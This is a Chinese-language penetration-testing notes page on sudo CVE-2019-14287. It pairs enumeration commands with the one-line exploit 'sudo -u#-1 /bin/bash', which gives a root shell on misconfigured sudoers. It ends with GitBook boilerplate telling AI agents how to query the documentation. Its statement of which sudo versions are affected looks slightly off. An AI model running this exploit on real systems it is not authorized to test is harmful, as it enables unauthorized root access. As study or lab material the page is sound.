> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation/sudo-version-1.8.27-cve-2019-14287.md).

# sudo 1.8.27 CVE-2019-14287

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **sudo 1.8.27 \[CVE-2019-14287]** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

### 滥用 sudo 权限（CVE-2019-14287）：

在检查 sudo 权限时，我们发现 sudoers 文件中存在一个有漏洞的配置。使用 `sudo -l` 命令，我们识别出一个可连接到除 `root`，通过 `/bin/bash` 命令：

<figure><img src="/files/477039544fa7ee30e16bcf5f774525cf882fc3e2" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

此漏洞影响所有早于 1.8.27 的 sudo 版本。

在我们的例子中，sudo 版本低于 1.8.27，因此该漏洞可被利用。

<figure><img src="/files/139a8a3c9da00ded72247420db8716fd0ff44445" alt="" width="510"><figcaption></figcaption></figure>

要利用此漏洞，只需执行以下命令：

```bash
sudo -u#-1 /bin/bash
```

此命令允许你以该用户身份运行一个 shell `-1`，这对应于用户 `root`.

<figure><img src="/files/8b6eab8f02ec163b3b02820d9982489edfa74696" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-version-vulnerabilities-linux-privilege-escalation/sudo-version-1.8.27-cve-2019-14287.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
